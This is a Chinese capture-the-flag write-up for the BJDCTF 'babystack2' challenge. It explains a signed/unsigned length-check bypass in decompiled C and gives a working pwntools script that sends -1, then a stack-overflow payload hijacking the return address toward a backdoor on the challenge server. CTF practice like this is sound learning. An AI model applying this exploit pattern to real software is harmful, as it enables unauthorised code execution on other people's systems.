main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  size_t nbytes; // [rsp+Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (signed int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, &buf, (unsigned int)nbytes);
  return 0;
}

size_t是无符号整数类型。但是下面在判断nbytes和10的大小时,将其转为了有符号整型。因此这里输入-1即可绕过条件判断。

剩下有手就行。

from pwn import *

elf = ELF('./bjdctf_2020_babystack2')

local = 0
if local == 1:
    io = process('./bjdctf_2020_babystack2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',28832)

ret = 0x0000000000400599
io.recvuntil("name:\n")
io.sendline("-1")
io.recvuntil("name?\n")
payload = 'a'*0x10+p64(0xdeadbeef)+p64(ret)+p64(0x400726)+p64(ret)+p64(ret)
io.sendline(payload)

io.interactive()